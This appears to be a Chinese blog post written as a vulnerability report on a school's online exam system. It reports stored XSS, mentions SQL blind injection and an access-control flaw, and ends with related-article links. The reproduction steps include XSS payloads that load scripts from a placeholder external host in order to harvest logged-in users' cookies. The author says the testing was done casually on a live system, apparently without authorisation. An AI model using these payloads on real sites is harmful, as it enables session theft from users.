引言~

最近学校由于方便我们学生的平时测试,所以新开了个考试系统,闲着无聊我就抱着玩的心态去测试了一波,由于本篇是用来锻炼我未来写报告的能力,所以格式会稍有变化


正文开始

标题:中国职工电化教育中心处考试系统处存在存储型xss
漏洞类别:事件型漏洞
厂商信息:中国职工电化教育中心
漏洞类型:xss(存储型)
漏洞等级:中危
漏洞简述:该页面在未检验数据是否存在XSS代码的情况下,便将其存入数据库。而且当下一次从数据库中获取该数据时程序也未对其进行过滤,页面会再次执行插入的恶意XSS代码,存储型XSS可以持续攻击用户。当目标用户进入含有xss恶意代码的页面时,存放在服务器的xss代码会从服务器解析之后加载出来。受害者只要访问插入xss攻击的页面,恶意脚本就能成功能够盗取当前登录用户的cookie,能造成用户敏感信息的泄露,可以配合csrf进行钓鱼攻击


复现步骤

一.往可能存在xss漏洞的输入框(25题笔记)构造以下代码进行验证:

"> <script src="http://xxx.com/myjs/alert.js"></script>

成功出现弹窗,初步判断存在xss漏洞

相关验证:在考试结果页面测试xss弹窗时,如果不点击确定在本页面弹出的xss窗口,那么与该页面关联的其它页面会出现卡死,导致与之关联的页面无法正常使用


关闭该页面退出重新进去后,发现页面重新xss弹窗,这时候可以确定,xss的类型为存储型xss

二.利用自建xss平台插入js验证代码来获取用户敏感信息

“> <script src="http://xxx.com/myjs/cs.js"></script>


插入攻击语句时,f12可以清楚的看到页面加载了我的xss平台


语句插入成功后,到xss平台观看效果

不难看出xss平台准确的列出登录用户的敏感信息,以及要请求访问的页面,因为是测试,所以我的xss代码没做过多的处理,如果有不法分子通过高明的手法构造xss语句来获取非法的用户敏感信息,后果将不堪设想!!!

关闭该页面退出重新进入

发现xss弹窗仍在

而且xss平台再次接收到了页面访问者的敏感信息

到此,漏洞复现完毕,可以确定页面存在存储型xss

补充:修改信息处也存在xss存储型漏洞,而且考试页面存在sql时间盲注,(由于是内网服务器,顺手测试并没有截到相关图片),但由于盲注太过麻烦,所以没有复现

除了xss漏洞外,
通过改URL地址栏可以查看不同用户信息,证明对用户的身份不做效验,有可能存在水平越权漏洞!!

记录一次对学校考试系统的漏洞挖掘相关推荐

  1. 记录某一天安服仔的漏洞挖掘过程

    前言 作为一个拿着几 K 工资的安服仔,某一天上级给了一个网站需要挖挖洞.客户不愿意提供测试账号,通过其他位置拿到账号规则,然后进行爆破的时候把账号都锁了,因此还被投诉了.记录一下一天的漏洞挖掘过程, ...

  2. 某考试系统逻辑漏洞打包#可改题改分数#查看大量信息

    转载请注明作者admin-神风 漏洞一.登录处可遍历uid密码爆破 http://www.examcoo.com/passport/login/preurl/L3VzZXJjZW50ZXIv 登录之前 ...

  3. uni map 实时记录轨迹_国际学校纷纷引进MAP考试系统,到底有什么好处?

    近几年国际学校在国内的发展非常快,家长对中西结合的国际化教育也越来越关注.现在中国国际学校的数量已经超过700所,位居世界之首. 国际学校的入学招生不同于公立学校,大部分学校在每年9月份开始开放招生, ...

  4. 微信公众号(考试系统)出现额外的弹框,导致页面关闭,且不保存记录

    用户出现问题的场景 · 描述如下: 一个微信端考试平台,提交试卷的时候,让它confirm()弹框点了确定之后就提交表单. 当用户重复考试多次,或者交卷多次之后,在某次会多出现一个奇怪的弹框:大概内容 ...

  5. 学生专用计算机在线使用,学校用的学生在线考试系统有什么优点

    学校平时出题考试,通常会重复劳动,造成人力.财力.物力和时间资源的浪费,如今,信息技术高速发展的时代,我们也会把信息技术也运用在教育上,对于考试出题,越来越多的学校会采取无纸化的学生在线考试系统,让考 ...

  6. 在线考试系统哪个好用,5款适合学校使用的在线考试系统!

    其实小编说到这里,想要告诉大家,在线考试系统其实市面上有很多,学校如何来选择线上考试培训系统呢?赛好办今天着重为大家介绍5款在线考试系统,你都知道哪一个? 1.赛好办在线考试系统 赛好办在线考试系统是 ...

  7. java web项目优化记录:优化考试系统

    考试系统在进行压力測试时发现,并发量高之后出现了button无反应.试题答案不能写到数据库的问题,于是针对这些核心问题,进行了优化. 数据库方面: Select语句:Select * from TEB ...

  8. 学校的计算机考试系统,南昊校园在线考试系统电脑阅卷系统

    南昊校园在线考试系统电脑阅卷系统 阅卷系统简介: 考试成绩统计分析 有统一的成绩导出界面,能设置相应的参数导出相关的成绩报表,支持按照自定义题组进行统计分析,并以PDF.EXCEL.DBF格式生成并导 ...

  9. 基于Java Web的在线考试系统的实现

    摘  要 随着互联网的发展,教育的方式逐渐步入信息化.智能化,网络教育逐渐成为教育未来发展的重要趋势,在线考试系统成为教育成果考察的主流方向.在线考试充分利用现代信息化技术的优势,使考试更方便.更高效 ...

最新文章

  1. C++ Primer 读书笔记 (1)
  2. 特征工程在实际业务中的应用!
  3. 怎么主动发起话题_谈恋爱怎样找话题聊天?
  4. JB的测试之旅-上传的mp3文件播放不了
  5. 《数据结构》第01章在线测试
  6. java 冒泡 二分法,日常总结---冒泡排序,二分法算法 面试题
  7. NoSql中的B-tree、B+tree和LSM-tree
  8. 【LeetCode 629】K个逆序对数组
  9. Kinect 深度测量原理
  10. 小米蓝牙耳机驱动_硬核拆解——小米蓝牙耳机
  11. 用java swing编写的雷霆战机小游戏
  12. Vscode新建文件输入感叹号不能生成头文件
  13. VOT竞赛paper阅读笔记
  14. 计算机考研408考试关键词、专有名词、术语等英文缩写和全称
  15. 【CTF题解NO.00008】mini-LCTF 2021 official write up by arttnba3
  16. 网络安全-网站后台的寻找+网页JS文件信息收集
  17. 高防服务器的适用场景
  18. 超声波测距仪编程_北邮小学期pic单片机-超声波测距仪实验报告(附代码).docx
  19. c4droid编译java_Windows下的java控制台已经完成,Linux相信很简单了
  20. python发送信息给文件传输助手

热门文章

  1. 关于DBeaver连接mysql驱动下载失败问题【数据库】
  2. 转炉炼钢工艺流程(炼钢)
  3. 如何利用计算机班级成绩分析,北京自考计算机应用基础课成绩分析报告
  4. 什么扫地机器人好用,哪一款扫地机器人好?
  5. oracle显示人民币,请问如何讲数字转变为大写人民币格式
  6. 金蝶BOS是什么,能给您带来什么价值?
  7. 中文写程序,何陋之有?
  8. 一个让我感到 细思极恐 的开源项目!
  9. 如何搭建vue项目,完整搭建vue项目
  10. matlab中正态分布相关函数hist normfit normplot